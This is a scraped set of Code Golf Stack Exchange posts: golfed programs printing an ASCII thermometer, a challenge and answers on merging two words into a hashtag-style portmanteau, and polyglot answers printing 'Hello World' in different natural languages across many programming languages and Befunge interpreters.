{iiii}iiiiiicd{c}cic{ddd}ddddddc{{i}}{i}iiiic{{d}i}dd{c}c{{i}d}iic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}dd{c}c{{i}d}iic{{d}}{d}ddddc{iii}dciiiiiicic{d}ddddccccccc{i}iiiicdcddddddc{ddd}ic{iii}iiiiiicdcddddddc{d}iiiccc{i}iiic{d}dddccc{i}dddciiiiiicic{ddd}ddddddc{{i}}{i}iiiic{{d}iii}dddddcdc{i}dddc{d}ic{i}ddc{d}ic{d}dddc{ii}cddcddddciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciiiiiic{d}iic{i}dc{d}c{d}dddc{ii}cdddcdddc{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciiiiic{d}iiic{i}c{d}dc{d}dddc{ii}cdddcdddciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciiiicddddddc{i}ic{d}ddc{d}dddc{ii}cddddcddc{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciiiicddddddciicdddc{d}dddc{ii}cddddcddciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciiicdddddciiicddddc{d}dddc{ii}dciiiiiic{d}dc{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdciicddddciiiicdddddc{d}dddc{ii}dciiiiiic{d}dciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdcicdddciiiiicddddddc{d}dddc{ii}dciiiiic{d}c{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}iii}dddddcdccddciiiiiic{d}iiic{d}dddc{ii}dciiiiic{d}ciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicc{d}dc{i}dddc{d}iic{d}dddc{ii}dciiiic{d}ic{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicdc{d}c{i}ddc{d}ic{d}dddc{ii}dciiiic{d}iciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicddc{d}ic{i}dc{d}c{d}dddc{ii}dciiic{d}iic{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicdddc{d}iic{i}c{d}dc{d}dddc{ii}dciiic{d}iiciic{{i}ddd}iiiiiic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicddddc{d}iiic{i}ic{d}ddc{d}dddc{ii}dciic{d}iiic{i}dddc{{i}ddd}ic{{d}}{d}ddddc{{i}}{i}iiiic{{d}i}ddc{ii}iiiiicddddc{d}iiiciicdddc{d}dddc{ii}dciic{d}iiiciic{{i}ddd}iiiiiic{{d}}{d}ddddc{iii}dciiiiiicccic{d}ddddc{i}iiic{d}dddc{i}iiiicdcccddddddc{ddd}ic{ii}iicccc{{i}d}iic{{d}i}ddc{i}iiic{d}dddc{{i}d}iic{{d}}{d}ddddc{ii}iicccc{{i}d}iic{{d}ii}iccc{{i}dd}dc{{d}}{d}ddddc{ii}iicccc{{i}d}iic{{d}i}ddccc{{i}d}iic{{d}}{d}ddddc{ii}iicccc{i}dddciiiiiicccddddddc ``` Sorry Dennis. [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~234~~ ~~217~~ ~~212~~ 210 bytes ``` f=420;main(){for(printf(".-----------.\n|%11s|\n|%1$11s|\n'-.%1$7s.-'\n.-' - '-.\n","");f>345;f-=5)printf("|%5.1f- %.1f|\n",32+f*.18,f*.1);puts("'---. - .---'\n | - |\n |---|\n | |\n '---'");} ``` [Try it online!](https://tio.run/##RY7dDsIgDIVfhRAXQFci@4kmZD7JbswiuouxZcwr8dmxdS426eGDHE7bwb3rUnJNVRztcO29VC83znKae784yTX8S7c@ZsaE@D13KwnQyKegQbQehTEG2ILcPOdcWXcpq9o6aGq1pcas1sYBy1Aj@cri4PbanHNSZafnEiQXNBPTaAcMx1QW8Rp/iK8bUq9IfwQOfaeUlsdtHsbwAQ "C (gcc) – Try It Online") -15 bytes thanks to ceilingcat!! -5 bytes thanks to TrapII!! Output: ``` .-----------. | | | | '-. .-' .-' - '-. |107.6- 42.0| |106.7- 41.5| |105.8- 41.0| |104.9- 40.5| |104.0- 40.0| |103.1- 39.5| |102.2- 39.0| |101.3- 38.5| |100.4- 38.0| | 99.5- 37.5| | 98.6- 37.0| | 97.7- 36.5| | 96.8- 36.0| | 95.9- 35.5| | 95.0- 35.0| '---. - .---' | - | |---| | | '---' ``` [Answer] # C, ~~460~~ 265 bytes ``` #define P(x) puts(x); #define Z "| |" T(){float i=7,j=12.6;P(".-----------.")P(Z)P(Z)P("'-. .-'")P(".-' - '-.")while(i>=0)printf("|%5.1f- %.1f|\n",95+j,35+i),i-=.5,j-=.9;P("'---. - .---'")P(" | - |")P(" |---|")P(" | |")P(" '---'")} ``` **Output** [Live](http://ideone.com/Tlrpt2) ``` .-----------. | | | | '-. .-' .-' - '-. |107.6- 42.0| |106.7- 41.5| |105.8- 41.0| |104.9- 40.5| |104.0- 40.0| |103.1- 39.5| |102.2- 39.0| |101.3- 38.5| |100.4- 38.0| | 99.5- 37.5| | 98.6- 37.0| | 97.7- 36.5| | 96.8- 36.0| | 95.9- 35.5| | 95.0- 35.0| '---. - .---' | - | |---| | | '---' ``` [Answer] # Go, 238 bytes Wow, that string is really resistant to golfing... ``` package main import."fmt" func main(){p:=Printf s,i:=`| | `,42. p(`.-----------. `+s+s+`'-. .-' .-' - '-. `) for;i>=35;i-=.5{ p(`|%5.1f- %.1f| `,i*9/5+32,i)} p(`'---. - .---' | - | |---| | | '---'`)} ``` Try live here: <https://play.golang.org/p/tPKYxII7NC> ]
[Question] [ Ever fancied creating cool twitter hashtags such as *#brexit* or *#brangelina*? this golf is for you. --- Write a program that accepts two strings A & B as input and merges them according to the following algorithm: 1. let `n` be the number of vowels groups in A (e.g. `britain` has 2 vowels groups : `i` in position 3 and `ai` in position 5). * if n = 1 : truncate A starting at its first vowel group position (example: `bill` => `b`) * if n > 1 : truncate A starting at its `n-1`th vowel group position (example: `programming` => `progr`, `britain` => `br`) 2. remove all consonants at the beginning of B (`jennifer` => `ennifer`) 3. concatenate the modified A & B Vowels are `aeiou`; consonants are `bcdfghjklmnpqrstvwxyz`. ## Input You can assume the input strings are lowercase and contain at least one vowel and one consonant. ## Examples ``` brad + angelina => brangelina britain + exit => brexit ben + jennifer => bennifer brangelina + exit => brangelexit bill + hillary => billary angelina + brad => angelad programming + puzzle => progruzzle code + golf => colf out + go => o ``` [Answer] # Ruby, ~~44~~ ~~43~~ 40 + 1 = 41 bytes +1 byte for `-p` flag. Takes space-separated input on STDIN. -1 byte thanks to Martin Ender -2 bytes thanks to histocrat ``` sub /([aeiou]+([^aeiou]*)){,2} \g<2>/,"" ``` [Try it online!](https://tio.run/##PYzLCsIwEEX3@Yqhq1YrBdfij1SFiZ3GkXQS0gRsxV83VnxsLgfO4Yakp5zHpKEpWyR26bgu29OHVlV1r7cPOJjddt/URZGzDtgBiiHLgkoHjsgCdOOoNAlcSYR7Cov5RV/J1sJlGQyT@qv3m/LBmYDDwGLAp3m2BOrsOgLjbK9cigs8nY/sZMwb/wI "Ruby – Try It Online") ## GNU sed, ~~39~~ 37 + 1 = 38 bytes +1 byte for `-E` flag. Takes space-separated input on STDIN. -1 byte thanks to Martin Ender ``` s/([aeiou]+[^aeiou]*){,2} [^aeiou]*// ``` [Try it online!](http://sed.tryitonline.net/#code=cy8oW2FlaW91XStbXmFlaW91XSopeywyfSBbXmFlaW91XSovLw&input=YnJhZCBhbmdlbGluYQpicml0YWluIGV4aXQKYmVuIGplbm5pZmVyCmJyYW5nZWxpbmEgZXhpdApiaWxsIGhpbGxhcnkKYW5nZWxpbmEgYnJhZApwcm9ncmFtbWluZyBwdXp6bGUgCmNvZGUgZ29sZgpvdXQgZ28&args=LUU) Not posting this as a separate answer because it is literally the same solution. [Answer] # MATL, ~~31~~ 30 bytes ``` t13Y2XJmFwhdl=fql_):)itJmYsg)h ``` [**Try it Online**](http://matl.tryitonline.net/#code=dDEzWTJYSm1Gd2hkbD1mcWxfKTopaXRKbVlzZylo&input=J3Byb2dyYW1taW5nJwoncHV6emxlJw) **Explanation** ``` t % Implicitly grab the input and duplicate it 13Y2 % Push the string literal 'aeiouAEIOU' XJ % Store this in clipboard J for later use m % Check which characters from the input are vowels (true for vowel) Fwh % Prepend FALSE to this logical array dl= % Compute the difference and find where we went from not-vowel to vowel f % Find the indices of these transitions q % Subtract 1 to get the location of the last consonant in each transition l_) % Get the next-to-last one of these :) % Grab the first string up to this location % Now for the second component! it % Explicitly grab the input and duplicate J % Retrieve the string literal 'aeiouAEIOU' from clipboard J m % Find where the vowels are (true for vowel) Ys % Compute the cumulative sum along the array. The result will be 0 % for all characters before the first vowel and non-zero after g) % Convert to logical and use this as an index so any characters % after the first value are retrieved % Now to combine them h % Horizontally concatenate the first and second pieces together % Implicitly display the result ``` [Answer] # JavaScript (ES6), ~~81~~ ~~73~~ 72 bytes *Saved 8 bytes thanks to @Jordan, 1 thanks to @DavidConrad* ``` a=>b=>a.match(/.*?(?=(?:[aeiou]+[^aeiou]*){1,2}$)/)+b.match(/[aeiou].*/) ``` Even though `.match` returns an array, `array+array` returns a string with the contents of the arrays concatenated (i.e. `[0]+[1]` returns `"01"`). ### Test snippet ``` f=a=>b=>console.log(a,"+",b,"=",a.match(/.*?(?=(?:[aeiou]+[^aeiou]*){1,2}$)/)+b.match(/[aeiou].*/)) f("brad")("angelina") f("britain")("exit") f("ben")("jennifer") f("brangelina")("exit") f("bill")("hillary") f("angelina")("brad") f("programming")("puzzle") f("code")("golf") f("progruzzle")("colf") f("out")("go") ``` ``` <input id=A value="super"> <input id=B value="chafouin"> <button onclick="f(A.value)(B.value)">Run</button> ``` Jordan's excellent Ruby solution would be 53 bytes in JS: ``` x=>x.replace(/([aeiou]+[^aeiou]*){1,2} [^aeiou]*/,"") ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~23~~ 22 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` e€ØcT ǵḟ‘-ị’ Ç⁸ḣ⁹ÑḢ⁹ṫ ``` **[TryItOnline](http://jelly.tryitonline.net/#code=ZeKCrMOYY1QKw4fCteG4n-KAmC3hu4vigJkKw4figbjhuKPigbnDkeG4ouKBueG5qw&input=&args=InByb2dyYW1taW5nIg+InB1enpsZSI)** How? ``` e€ØcT - Link 1, vowel indexes: s e.g. "colouring" Øc - yield vowels, "AEIOUaeiou" e€ - in for each [0,1,0,1,1,0,1,0,0] T - truthy indexes (1-based) [2,4,5,7] ǵḟ‘-ị’ - Link 2, n-1th or only vowel group index start - 1: s µ - monadic chain separation Ç - call last link (1) as a monad [2,4,5,7] ‘ - increment [3,5,6,8] ḟ - filter out [2,4,7] - - -1 ị - index value [4] (Jelly is 1-based and has modular indexing, so the last but one item is at index -1, and when there is only 1 item in the list it is also at index -1) ’ - decrement [3] Ç⁸ḣ⁹ÑḢ⁹ṫ - Main link: a, b e.g. "colouring", "pencils" Ç - call last link (2) as a monad with a [3] ⁸ - link's left argument, a ḣ - head a[:y] "col" ⁹ ⁹ - link's right argument, b Ñ - call next link (1) as a monad [2,5] Ḣ - pop head [2] ṫ - tail b[y-1:] "encils" - implicit print "colencils" ``` [Answer] ## PowerShell v2+, 76 bytes ``` param($n,$m)($n-replace'([aeiou]+[^aeiou]*){1,2}$')+($m-replace'^[^aeiou]*') ``` Apparently this is a popular regex ... ;-) Uses the `-replace` operator to pull off the appropriate pieces, then string-concatenates the results together. Adds on a `$` to the first to ensure we pull the end of the string, and adds a `^` to the second to ensure we pull off the front of the string. [Answer] ## [Retina](http://github.com/mbuettner/retina), 35 bytes ``` ([aeiou]+[^aeiou]*){1,2} [^aeiou]* ``` [Try it online!](http://retina.tryitonline.net/#code=JShHYAooW2FlaW91XStbXmFlaW91XSopezEsMn0gW15hZWlvdV0qCg&input=YnJhZCBhbmdlbGluYQpicml0YWluIGV4aXQKYmVuIGplbm5pZmVyCmJyYW5nZWxpbmEgZXhpdApiaWxsIGhpbGxhcnkKYW5nZWxpbmEgYnJhZApwcm9ncmFtbWluZyBwdXp6bGUKY29kZSBnb2xmCm91dCBnbw) (The first line enables a linefeed-separated test suite.) Simply removes all matches of the regex on the first line. [Answer] # Cinnamon Gum, 23 bytes ``` 0000000: 64d3 884e 4ccd cc2f 8dd5 8e8e 8330 b434 d..NL../.....0.4 0000010: b108 d92b c0d9 00 ...+... ``` [Try it online.](http://cinnamon-gum.tryitonline.net/#code=MDAwMDAwMDogNjRkMyA4ODRlIDRjY2QgY2MyZiA4ZGQ1IDhlOGUgODMzMCBiNDM0ICBkLi5OTC4uLy4uLi4uMC40CjAwMDAwMTA6IGIxMDggZDkyYiBjMGQ5IDAwICAgICAgICAgICAgICAgICAgICAgICAgLi4uKy4uLg&input=YnJpdGFpbiBleGl0) ## Explanation This decompresses to `d([aeiou]+[^aeiou]*)([aeiou]+[^aeiou]*)? [^aeiou]*`, which `d`eletes anything matching that regex. (Note that Jordan's golfier `d([aeiou]+[^aeiou]*){,2} [^aeiou]*` compresses to 24 bytes due to the lack of repeated elements to compress.) [Answer] # PHP, 95 Bytes ``` $t="aeiou]";echo($p=preg_filter)("#([$t+[^$t*){1,2}$#","",$argv[1]).$p("#^[^$t*#","",$argv[2]); ``` with preg\_match instead of preg\_filter 110 Bytes ``` $t="aeiou]";($p=preg_match)("#(.*?)([$t+[^$t*){1,2}$#",$argv[1],$m);$p("#[$t.*#",$argv[2],$n);echo$m[1].$n[0]; ``` [Answer] ## Lua, 66 bytes ``` $ cat merge.lua print(((...):gsub(("[]+[^]*[]*[^]*+[^]*"):gsub("]","aeiou]"),""))) $ lua merge.lua brad+angelina brangelina $ lua merge.lua programming+puzzle progruzzle ``` [Answer] # Perl 5, 39 bytes 38, plus 1 for `-pe` instead of `-e` ``` s/([aeiou]+[^aeiou]*){1,2} [^aeiou]*// ``` [Hat tip.](/a/94538) [Answer] # Python 2, 139 bytes ``` n=lambda a,b:a[:a.index(([l for l in[[l,"!"][i!=0and a[i-1]in v]for i,l in enumerate(a)]if l in v]*2)[-2])]+b[sorted([(b+v).index(c)for c in v])[0]:] ``` This one was hard. [Check it out on repl.it](https://repl.it/DiK6/40) [Answer] # [Lithp](https://github.com/andrakis/node-lithp), 65 bytes ``` #X::((replace X (regex "([aeiou]+[^aeiou]*){1,2} [^aeiou]*") "")) ``` --- This is basically a port of the JavaScript answer above, in my Lisp-ish functional programming language. Example usage: ``` ( % Note, you can define this as a function, or assign it to a variable % and use the call function instead. (def f #X::((replace X (regex "([aeiou]+[^aeiou]*){1,2} [^aeiou]*") ""))) (print (f "programming puzzle")) ) ``` No online interpreter yet. I'll provide one soon. It won't be difficult, my language is written in JavaScript. Instead, this puzzle solution is implemented as a working example for my language. It can be run with the following command: ``` node run.js l_src/progruzzle-colf.lithp ``` [Answer] # Haskell, ~~111~~ 108 bytes ``` v x=elem x"aeiou" d=dropWhile e=d v k=d$not.v r=reverse f a|c<-e.k.e.k$a,""/=c=c|1<3=e.k$a a!b=(r.f.r)a++k b ``` This non-regex solution turned out longer than expected. [Ideone it anyway.](https://ideone.com/REZWtG) [Answer] # [Jq 1.5](https://stedolan.github.io/jq/), 45 bytes ``` gsub("([aeiou]+[^aeiou]*){1,2} [^aeiou]*";"") ``` Nothing special, just a port of [msh210](https://codegolf.stackexchange.com/users/1976/msh210)'s perl solution to jq's PCRE. [Try it online!](https://tio.run/##VY7LbsIwEEX3fMXI3fDKomwR/EhEpYEYM8iMg7HVlsKv19hhEoEXlu@5R1c@nhOUo7YeG0A22hKjgg9YrSEzAaOszItEAYlB/1AYnBL6XjMcNTPtte97icNCP/k@0tHXJbIWDvlC/9tLzyTCMFM@LkbHsBGj9c54PJ2IDbTxerVatK7ogJg712gwzu5F2OWnVC6G3Ah3Bd6SucTtWI1r1OTiZlZ/PR/Tyd/nfHGHIaulUpOU/l0byPElVRVHayviNoYcPH5XeT6HBw "jq – Try It Online") [Answer] # [Japt](https://github.com/ETHproductions/japt), 18 bytes ``` r/\v+\V*){1,2} \V* ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=ci9cditcViopezEsMn0gXFYq&input=LW1SIFsKImJyYWQgYW5nZWxpbmEiLAoiYnJpdGFpbiBleGl0IiwKImJlbiBqZW5uaWZlciIsCiJicmFuZ2VsaW5hIGV4aXQiLAoiYmlsbCBoaWxsYXJ5IiwKImFuZ2VsaW5hIGJyYWQiLAoicHJvZ3JhbW1pbmcgcHV6emxlIiwKImNvZGUgZ29sZiIsCiJvdXQgZ28iCl0=) Direct port of [short JS solution](https://codegolf.stackexchange.com/a/94536/78410) which is in turn the port of [Jordan's Ruby solution](https://codegolf.stackexchange.com/a/94538/78410). ### How it works ``` Ur/\v+\V*){1,2} \V*/ Ur Replace on the input... /\v+\V*){1,2} \V*/ this regex with empty string. \v == [AEIOUaeiou], \V == [^AEIOUaeiou], `g` flag is on by default in Japt so the uncompressed regex is roughly /([aeiou]+[^aeiou]*){1,2} [^aeiou]*/g. ``` ]
[Question] [ ## Task Create a program or a function that is valid in multiple programming languages, and when compiled/interpreted as a different language outputs "Hello, World!" in a different natural language. For example, a valid solution might output `Hello World!` (English) when compiled and run as C, `Hallo Welt!` (German) when compiled and run as C++ and `你好世界!` (Chinese) when run as Python. ## Rules To avoid ambiguity about the validity of an answer, below is a list of allowed versions of the phrase in several languages. The list consists of the phrase in languages for which Google Translate has a community-verified translation of the phrase (as of this writing).\* The accuracy of these translations is debatable, but they are what this challenge will use. The printed strings must follow exactly the format below (with the exception of leading or trailing whitespace). ``` Afrikaans: Hello Wêreld! Albanian: Përshendetje Botë! Amharic: ሰላም ልዑል! Arabic: مرحبا بالعالم! Armenian: Բարեւ աշխարհ! Basque: Kaixo Mundua! Belarussian: Прывітанне Сусвет! Bengali: ওহে বিশ্ব! Bulgarian: Здравей свят! Catalan: Hola món! Chichewa: Moni Dziko Lapansi! Chinese: 你好世界! Croatian: Pozdrav svijete! Czech: Ahoj světe! Danish: Hej Verden! Dutch: Hallo Wereld! English: Hello World! Estonian: Tere maailm! Finnish: Hei maailma! French: Bonjour monde! Frisian: Hallo wrâld! Georgian: გამარჯობა მსოფლიო! German: Hallo Welt! Greek: Γειά σου Κόσμε! Hausa: Sannu Duniya! Hebrew: שלום עולם! Hindi: नमस्ते दुनिया! Hungarian: Helló Világ! Icelandic: Halló heimur! Igbo: Ndewo Ụwa! Indonesian: Halo Dunia! Italian: Ciao mondo! Japanese: こんにちは世界! Kazakh: Сәлем Әлем! Khmer: សួស្តី​ពិភពលោក! Kyrgyz: Салам дүйнө! Lao: ສະ​ບາຍ​ດີ​ຊາວ​ໂລກ! Latvian: Sveika pasaule! Lithuanian: Labas pasauli! Luxemburgish: Moien Welt! Macedonian: Здраво свету! Malay: Hai dunia! Malayalam: ഹലോ വേൾഡ്! Mongolian: Сайн уу дэлхий! Myanmar: မင်္ဂလာပါကမ္ဘာလောက! Nepali: नमस्कार संसार! Norwegian: Hei Verden! Pashto: سلام نړی! Persian: سلام دنیا! Polish: Witaj świecie! Portuguese: Olá Mundo! Punjabi: ਸਤਿ ਸ੍ਰੀ ਅਕਾਲ ਦੁਨਿਆ! Romanian: Salut Lume! Russian: Привет мир! Scots Gaelic: Hàlo a Shaoghail! Serbian: Здраво Свете! Sesotho: Lefatše Lumela! Sinhala: හෙලෝ වර්ල්ඩ්! Slovenian: Pozdravljen svet! Spanish: ¡Hola Mundo! // Leading '¡' optional Sundanese: Halo Dunya! Swahili: Salamu Dunia! Swedish: Hej världen! Tajik: Салом Ҷаҳон! Thai: สวัสดีชาวโลก! Turkish: Selam Dünya! Ukrainian: Привіт Світ! Uzbek: Salom Dunyo! Vietnamese: Chào thế giới! Welsh: Helo Byd! Xhosa: Molo Lizwe! Yiddish: העלא וועלט! Yoruba: Mo ki O Ile Aiye! Zulu: Sawubona Mhlaba! ``` So there are 74 languages that can be used. ## Winning Criterion The solution that can output the phrase in the greatest number of languages wins. In case of a tie, the shorter solution (in bytes) wins. --- \*The translations for Malagasy and Maltese were marked community-verified, but were clearly incorrect (one was just "Hello World!" and the other "Hello dinja!", but "Hello!" alone translates to "Bongu!"). These were excluded. Also some languages (Arabic, Hebrew, Pashto, Persian and Yiddish) read from right to left on Google Translate, but when copied here they read from left to right. I hope that's okay. [Answer] # 16 languages, 1363 bytes ``` #define ip"MemuL tulaS",,,,,,,,,,"!",@++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.@,kc"Kaixo Mundua!"v#! #define print(A,B,C)main(){printf("Helo Byd!");}//ss ;ooooooooooooooooooo"Moni Dziko Lapansi!"<[- #ifdef __cplusplus//p ;;];; #include<cstdio>//ffffffffff? #define print(A,B,C)int main(){printf("Halo Dunya!");}//ssp #endif//; [;;;;;;;;; "!etejivs vardzoP"] #ifdef __OBJC__//;;;;; #define print(A,B,C)main(){printf("Hallo Welt!");}//ss #endif//\ """echo" "Salom Dunyo!";"exit";puts"Moien Welt!";\ __END__ #define B//\ """#;;;;; print(["Hai dunia!","Hej Verden!","Halo Dunia!"][(int(1>0)is 1)+~int(-1/2)*2]) #define s eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeejeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeejiiiiiiiijeeeeeeeeeeeeeejiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiijeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeejeejijiiiiiiiiiijeeeeeeeeeeejiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiij #define U !"!dlereW ollaH"< ; #define T@,kc"Sannu Duniya!?%?" ``` [Try it online!](https://tio.run/##xZRtb5swEMff8ymOQ5PCQmDpWyPSpZlUbc02Kdv6giLkgdFMiI0AR22n7atnhlJ3D51UaZH2kyzO54f7@87mc0O5KFS2PRzAyVnBBQNe45rt1AV0qqIb9Axoo3c6NcTRaEQPvmhooWaWaNuPpv444veG3/vCcPorfjSMzQbGjzb02lNvm@Ebyq8lrJXIFbVx79jWvdK64aKbvPSW3pm70weZuF8HVzHBc1ZJWN7kNrrkWxC0LRwNIv8E11JwWN3yrYQLWlPRchvDeAZgObzQciFNs7pSbd@CoIb/DSEJIVqbyCqVszBru5zLKAgKw@LRNGsLfk811aleKXFDTbJry2Ei50UQEICY3DNERpt1rOT7Fva0yW/le0wecvRu@fosTfWynifVmVY6@iWrOhPcxL6yEJFlXyQCbrTI3aBS2kiQXfMOSa26VleOMzHuQK6sNH31dpWmJvZy3Me5k3QnJdZxOeRKcH1mT1@2Ej6xJmdi6I356MeSeNLPn0cvXN7C3J1@77uzeXDiPj9JXBOlBfbvlE@cxkfKv/iPRMmOSdkLLB/f/cjKS1OWj/q@2mjnFWvYJciqoucY/vyKzMwPw69qQ4VQQ@31Y1g8W@Dh8AM) (use "switch languages" to change language) * Python 3 = Halo Dunia! (Indonesian) * Python 2 = Hej Verden! (Danish) * Python 1 = Hai dunia! (Malay) * C (gcc) = Helo Byd! (Welsh) * C++ (gcc) = Halo Dunya! (Sundanese) * Objective C (clang) = Hallo Welt! (German) * Brainfuck = Hello World! (English, obviously) * Befunge-93 = Salut Lume! (Romanian) * Ruby = Moien Welt! (Luxemburgish) * Bash = Salom Dunyo! (Uzbek) * Befunge-98 (PyFunge) = Kaixo Mundua! (Basque) * Unefunge-98 (PyFunge) = Sannu Duniya! (Hausa) * Cardinal = Hallo Wereld! (Dutch) * Alphuck = Ciao mondo! (Italian) * ><> = Moni Dziko Lapansi! (Chichewa) * Fission = Pozdrav svijete! (Croatian) Any golfing tips are welcome (especially on the Brainfuck)!! Thanks to @JonathanFrech for -1 byte! Also, thanks to @ovs for -40 bytes! ## How (general ideas, I actually forgot specifics)?? The languages can be put into four groups: * Macro: C, C++, Objective C * Comment: Python3, Python2, Python1, Ruby, Bash * Dimensional: Befunge-93, Befunge-98, Unefunge-98, Cardinal, ><>, Fission * Vulgar: Brainfuck, Alphuck The Macro languages see `#` as the start of a preprocessor directive. These are used for three reasons: to house code for other groups, to distinguish among Macro languages, and to actually define a macro. All three use `//` as comment, so after that we store code for the other groups. Also, the backslash continues the comment in these languages. The Comment languages see `#` as the start of a comment. The quirk here is the triple quotes, which distinguish the Pythons from Ruby from Bash. And to distinguish Python 1 from 2 from 3, we use a distinguishing feature in all three, along with an array of outputs. Oh yeah, there's also that `__END__`. This is used to end the code for some (can't remember exactly which ones) of the Comment languages. The Dimensional languages are distinguished in a way that is hard to explain. One has to know the specifics of each language to figure it out. For example, `#` is only a skip in the fungeoids, while it does various different things in the other languages. The code is strewn about everywhere for these languages. And finally, we arrive at the Vulgar languages. These two ignore everything that isn't in their set of valid characters. A balancing act has to be played with these languages and the others, as the code already contains characters in the character sets. Edit: Wow... Somehow I only now realized Brainfuck did not seem to work, so that's fun! [Answer] ## 23 Befunges, 713 bytes The only language I really know is Befunge, so instead of multiple languages, I've just gone with multiple implementations of Befunge. I believe this is still valid under PPCG rules, which consider the [language to be defined by its implementation](https://codegolf.meta.stackexchange.com/a/13595). ``` 8023/# !-1401p680p88+79*6+1p238*7+0pg90p$#v0';1';+>9%80p$$$$"ph~s"+3vv vv_2#!>#-/\#21#:+#:>#\<0/-2*3`0:-/2g01g00p>#< 2#0 ^#1/4*:*9"9"p00***<< >>$:2%3*-4/3g68*-70p1-0`02-3/-03-2%1+2/-70g+80g65+70g`7++3g68*-70g9`*v 0168:0>0133?45130120340200v00:<+8*+76%4p00+5/4:+-*86g3++98/2%+98g09+<< @>gg#^:#+,#$"!"-#1_@ !Helo Byd!!!!!Hai dunia!!!!Ciao mondo!!!Hallo Wereld!!!! !Hallo Welt!!!Halo Dunia!!!Halo Dunya!!!Bonjour monde!!! !Hei Verden!!!Hej Verden!!!Moien Welt!!!Labas pasauli!!! !Molo Lizwe!!!Salut Lume!!!Hei maailma!!Sveika pasaule!! !Hello World!!Salom Dunyo!!Tere maailm!!Sawubona Mhlaba! !Kaixo Mundua!Salamu Dunia!Sannu Duniya!!!!!!!!!!!!!!!!! ``` The frustrating thing about Befunge, is that although there is an open source reference implementation, and the language itself is dead simple, there isn't a single third-party interpreter (that I'm aware of) that exactly matches the reference behaviour. Every implementation fails in a different way. On the plus side, this gives us the opportunity to develop a single piece of code that will produce a different result in almost every interpreter. And that's what I'm attempting in the program above. If anyone is interested in verifying the results, I've tried to group the various implementations into categories based on how easy they are to get up and running (e.g. some people may not be able to run Windows binaries, or may not be willing to build from source, but everyone should be able to test the online interpreters). ### Online Interpreters No installation required. It's usually just a matter of pasting in the code and clicking a button or two. But note that some of these are quite slow, so may need some time to finish executing. **[Alexios' Befunge Playground](https://www.bedroomlan.org/tools/befunge-playground#mode=edit)** - *Salamu Dunia!* Click the `Clear...` button and paste the code into the input field. Toggle the `Edit` switch to activate the interpreter, and then click the `Run` button to begin executing. *Note that this site probably won't work in Browser's other than Chrome.* **[Befungius](http://befungius.aurlien.net/)** - *Molo Lizwe!* Paste the code into the input field, making sure to overwrite the existing code. Then click the `Run` button to execute. **[David Klick's Befunge 93 Interpreter](http://klickfamily.com/david/school/cis119/Befunge93.html)** - *Sannu Duniya!* Paste the code into the *Playfield* input field, and then click the `Run` button to begin executing. **[Ian Osgood's Befunge-93 Interpreter](http://www.quirkster.com/iano/js/befunge.html)** - *Salut Lume!* Paste the code into the input field under the `Show` button, making sure to overwrite the `@` that is already there. Click the `Show` button to import the code, then click the `Run` button to begin executing. **[jsFunge IDE](https://befunge.flogisoft.com/)** - *Hej Verden!* First close the *Help* dialog, then click the *Open/Import* toolbar button (second from left), paste in the code, and click `OK`. To execute, click the *Run Mode* button (fourth from left), and then *Start* (fifth from left). Also note that a few of the console-based interpreters are actually available on TIO, so while they aren't technically online interpreters, they can be tested online. For those that are supported (currently BEF, FBBI, MTFI and PyFunge), I've included a *Try It Online!* link next to their entry. ### Java IDEs You'll need to have the Java run-time installed for these, but they should theoretically work on any platform. Only tested on Windows though. **[Ashley Mills' Visual Befunge Applet](https://web.archive.org/web/20110914005056/http://www.ashleymills.com/programming/befunge/Befunge.jar)** - *Moien Welt!* This was initially an online applet which is unfortunately no longer available, but you can still download the jar and run it locally as a desktop application. You'll need to paste the code into the *Program Editor* window, then click the `Convert` button, followed by the `Run` button. **[WASABI: Wasabi's A Superbly Asinine Befunge Interpreter](https://sourceforge.net/projects/wasabi-befint/files/latest/download)** - *Hallo Welt!* To paste in the code, right click in the top left corner of the editor window (it *must* be the very top left) and select the *Paste* menu item. Then enable the *Full Speed* check box (otherwise it'll take forever), and click the `Run!` button to begin executing. **[YABI93: Yet Another Befunge93 Interpreter](https://sourceforge.net/projects/yabi93/files/YABI93%20Beta%203/Multilanguage/YABI93-Beta3.jar/download)** - *Halo Dunia!* Press `Ctrl`+`A`, `Ctrl`+`V` to paste the code into the editor window, being sure to overwrite the default source. Then click the `Start` button to begin 